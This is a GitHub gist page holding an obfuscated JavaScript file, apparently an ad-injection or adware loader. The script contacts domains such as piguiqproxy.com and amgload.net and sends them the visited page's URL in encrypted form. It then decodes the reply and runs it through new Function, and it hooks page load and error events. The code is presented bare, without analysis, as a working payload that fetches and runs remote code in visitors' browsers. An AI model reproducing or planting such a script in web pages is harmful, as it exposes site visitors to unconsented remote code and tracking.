/fuck.js Secret
Created
December 19, 2017 05:17
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (function() { | |
| function f() { | |
| var f = {}; | |
| for (var n = 0; n < arguments.length; n += 2) { | |
| f[arguments[n]] = arguments[n + 1] | |
| } | |
| return f | |
| } | |
| function n() { | |
| function n(f) { | |
| var n = 'mzs__' + window['Math']['random']()['toString']()['substr'](2, 2 + 2); | |
| window[n] = B; | |
| new window['Function']('mz_str', f)(n) | |
| } | |
| function seed() { | |
| return Math.floor(Math.random() * Math.pow(2, 32)) | |
| } | |
| function r(f, n, u, r) { | |
| function t(f) { | |
| u(f['target']) | |
| } | |
| function o(f) { | |
| if (window['Date'][ 'now' ]() - i['start'] < 300) { | |
| r(f['target']) | |
| } | |
| } | |
| var i = new window['XMLHttpRequest']; | |
| i['open'](n ? 'POST' : 'GET', f, 1); | |
| i['start'] = window['Date'][ 'now' ](); | |
| if (u) { | |
| i['onload'] = t | |
| } | |
| if (r) { | |
| i['onerror'] = o | |
| } | |
| i['send'](n) | |
| } | |
| function t() { | |
| var f = window['document']['getElementsByTagName']('IMG'); | |
| for (var n in f) { | |
| if (f[n]['src']) { | |
| f[n]['src'] = '' | |
| } | |
| } | |
| window['stop'](); | |
| for (var u in window['document']['styleSheets']) { | |
| window['document']['styleSheets'][u]['disabled'] = 1 | |
| } | |
| } | |
| function o(f, n, r) { | |
| function t(f, n) { | |
| if (!(n + 1)) { | |
| n = f | |
| } | |
| var r = seed() % 3 + 1, | |
| t = Uf[n]; | |
| if (!Bf[t['z']]) { | |
| return t['n'] + '.' + t['z'] | |
| } else { | |
| return Bf[t['z']] + window['String']['fromCharCode'](58 - r * r) + window['String']['fromCharCode'](t['z']['charCodeAt'](0) + f * f) + '.' + t['n'] + '.' + t['z'] | |
| } | |
| } | |
| B['vars']['proto'] = nf; | |
| return nf + '//' + (r ? f + '.' + n + '.' + r : t(f, n)) + '/z' | |
| } | |
| function i(f) { | |
| var n = f['match'](new window['RegExp']('var _a=\\["(.+)"\\];')); | |
| if (n) { | |
| var u = n[1]; | |
| var r = u['split']('","'); | |
| var t = '', | |
| o = '', | |
| i = 0, | |
| v = []; | |
| var a = ''; | |
| for (var c = 0; c < tf['length']; c++) { | |
| a += tf[c]['toString'](16) | |
| } | |
| while (r[i] != a) { | |
| o += r[i]; | |
| if (++i == r['length']) { | |
| return | |
| } | |
| } | |
| for (var p = i + 1; p < r['length']; p++) { | |
| var s = r[p], | |
| e = p - i - 1; | |
| var d = o['substr'](e * 2, 2); | |
| var h = window['parseInt'](d, 16), | |
| j = h; | |
| var l = ''; | |
| for (var m = 0; m < s['length']; m += 2) { | |
| var q = window['parseInt'](s['substr'](m, 2), 16); | |
| var g = q ^ h; | |
| h = g ^ j; | |
| g = g['toString'](16); | |
| if (g['length'] < 2) { | |
| g = 0 + g | |
| } | |
| l += g | |
| } | |
| v['push'](l) | |
| } | |
| f = f['replace'](u, v['join']('","')) | |
| } | |
| return f | |
| } | |
| function v(f) { | |
| f //? | |
| var n = seed() % gf; | |
| var r = window['String']['fromCharCode'](n); | |
| var t = 0; | |
| for (var o = 0; o < f['length']; o++) { | |
| var i = f['charCodeAt'](o); | |
| r += window['String']['fromCharCode'](i ^ n); | |
| t += i | |
| } | |
| (t % gf) //? | |
| r += window['String']['fromCharCode'](t % gf); //? | |
| return window['btoa'](r) | |
| } | |
| function a(f) { | |
| try { | |
| f = window['atob'](f) | |
| } catch (f) {} | |
| if (!f['length']) { | |
| return | |
| } | |
| var n = '', | |
| u = 0, | |
| r, t = f['charCodeAt'](0); | |
| for (r = 1; r < f['length'] - 1; r++) { | |
| var o = f['charCodeAt'](r); | |
| o ^ t //? | |
| n += window['String']['fromCharCode'](o ^ t); | |
| u += o ^ t | |
| } | |
| if (u % gf == f['charCodeAt'](r)) { | |
| return n | |
| } | |
| } | |
| function c(f) { | |
| B['er_load']['push'](f['target']) | |
| } | |
| function p(f) { | |
| B['sc_load']['push'](f['target']) | |
| } | |
| function s(f, n, u) { | |
| var r = ''; | |
| if (typeof u != 'object') { | |
| r = '.' + u; | |
| u = [] | |
| } | |
| for (var t in n) { | |
| u['push'](t) | |
| } | |
| for (var o in u) { | |
| var t = u[o], | |
| i = null; | |
| try { | |
| i = n[t] | |
| } catch (f) {} | |
| if (!i || typeof i != 'function') { | |
| continue | |
| } | |
| B['save'][f + r + '.' + t] = n[t]; | |
| if (!r['length'] && n[t]['prototype']) { | |
| s(f, n[t]['prototype'], t) | |
| } | |
| } | |
| } | |
| function e() { | |
| function v(f, u) { | |
| function v(f) { | |
| if (!Pf) { | |
| B['retest'] = [o(j['h'], j['d']), o(j['h'], u)] | |
| } | |
| n(i(f['responseText'])) | |
| } | |
| function a(f) { | |
| Qf = false; | |
| ++Kf < uf ? e() : t() | |
| } | |
| if (Qf) { | |
| return | |
| } | |
| Qf = true; | |
| try { | |
| var c = window['JSON']['parse'](Ff['dec'](f)) | |
| } catch (f) { | |
| return | |
| } | |
| var p = c['sb'] ? c['sb'] + '.' : ''; | |
| var s = c['nn'] ? c['nn'] + p : p; | |
| Hf['fail']['push'](s + c['hs']); | |
| B['vars']['session'] = c['pw']; | |
| B['vars']['proxy_host'] = p + c['hs']; | |
| r(c['pr'] + '//' + s + c['hs'] + c['ur'], null, v, a) | |
| } | |
| function a(n) { | |
| function u(f) { | |
| function n(n) { | |
| f['fail'] = 1 | |
| } | |
| r(o(f['h'], f['d']), l, null, n) | |
| } | |
| function i(f) { | |
| function n() { | |
| try { | |
| var n = window['JSON']['parse'](Ff['dec'](f['responseText'])) | |
| } catch (f) { | |
| return | |
| } | |
| for (var u in n) { | |
| var i = n[u]; | |
| for (var p in c) { | |
| if (i['d'] == c[p]['d'] && i['h'] == c[p]['h']) { | |
| c[p]['o'] = i['o'] | |
| } | |
| } | |
| } | |
| if (v['o'] && v['fail']) { | |
| t() | |
| } else { | |
| if (a['o'] && a['fail']) { | |
| r(o(a['h'], a['d']), l, null, t) | |
| } | |
| } | |
| } | |
| window['setTimeout'](n, 300 * 3) | |
| } | |
| if (q) { | |
| return | |
| } | |
| q = 1; | |
| var v = f('h', (n['h'] + 1) % 2, 'd', n['d']), | |
| a = f('h', n['h'], 'd', (n['d'] + 1) % 2); | |
| var c = [v, a]; | |
| for (var p in c) { | |
| u(c[p]) | |
| } | |
| r(o(j['h'], j['d']), l, i, t) | |
| } | |
| function c(f, n) { | |
| function u(u) { | |
| r(o(u['h'], u['d']), l, f, n) | |
| } | |
| return u | |
| } | |
| function p(f) { | |
| function n(n) { | |
| v(n['responseText'], f['d']) | |
| } | |
| function u(n) { | |
| a(f) | |
| } | |
| r(o(f['h'], f['d']), l, n, u) | |
| } | |
| var s = f('h', seed() % 2, 'd', seed() % 2), | |
| d = f('h', (s['h'] + 1) % 2, 'd', (s['d'] + 1) % 2), | |
| j = f('h', 2, 'd', 2); | |
| var l = Ff['enc'](window['JSON']['stringify'](Hf)); | |
| var q = 0, | |
| g = [s, d]; | |
| seed() //? | |
| for (var y in g) { | |
| p(g[y]) | |
| } | |
| } | |
| var B = {}, | |
| nf = window['location']['protocol'], | |
| uf = 3, | |
| tf = [48971, 64826, 53864, 61451, 6854, 64650, 12965, 12442], | |
| gf = 256, | |
| Sf = [{ | |
| 'd': [ | |
| {'n': 'piguiqproxy', 'z': 'com'}, {'n': 'amgload', 'z': 'net'}, | |
| {'n': 'smcheck', 'z': 'org'} | |
| ], | |
| 'p': {'com': 'kz', 'net': 'xk', 'org': 'zx'} | |
| }], | |
| Uf = Sf[0]['d'], | |
| Bf = Sf[0]['p']; | |
| B['er_load'] = []; | |
| B['sc_load'] = []; | |
| B['vars'] = {}; | |
| B['vars']['cook_n'] = 'tttZZZ2m'; | |
| B['vars']['cook_v'] = 'f4FFv'; | |
| var Ff = {'enc': v, 'dec': a}; | |
| try { | |
| if (window['opener'] && window['opener']['_' + B['vars']['cook_n']] == B['vars']['cook_v']) { | |
| window['opener']['_' + B['vars']['cook_n']] = ''; { | |
| window['document']['writeln']('<NOFRAMES>'); | |
| window['document']['close']() | |
| } | |
| } | |
| } catch (f) {} | |
| B['er_load'] = []; | |
| B['sc_load'] = []; | |
| B['vars'] = f('proxy_host', '', 'session', ''); | |
| B['cr_el'] = window['document']['createElement']['bind'](window['document']); | |
| B['er_listen'] = c; | |
| B['sc_listen'] = p; | |
| window['document']['addEventListener']('error', B['er_listen'], 1); | |
| window['document']['addEventListener']('load', B['sc_listen'], 1); | |
| B['save'] = {}; | |
| s('w', window, ['XMLHttpRequest', 'MutationObserver']); | |
| s('d', window['document'], []); | |
| var Hf = f('rf', window['document']['location']['href'], 'fc', 0, 'fail', [], 'pw', ''); | |
| if (window['document']['cookie']['indexOf']('argon_enable=1') != -1) { | |
| Hf['fc'] = 1 | |
| } | |
| var If = 0, | |
| Kf = 0, | |
| Pf = 0, | |
| Qf = 0; | |
| e() | |
| } | |
| n() | |
| })(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment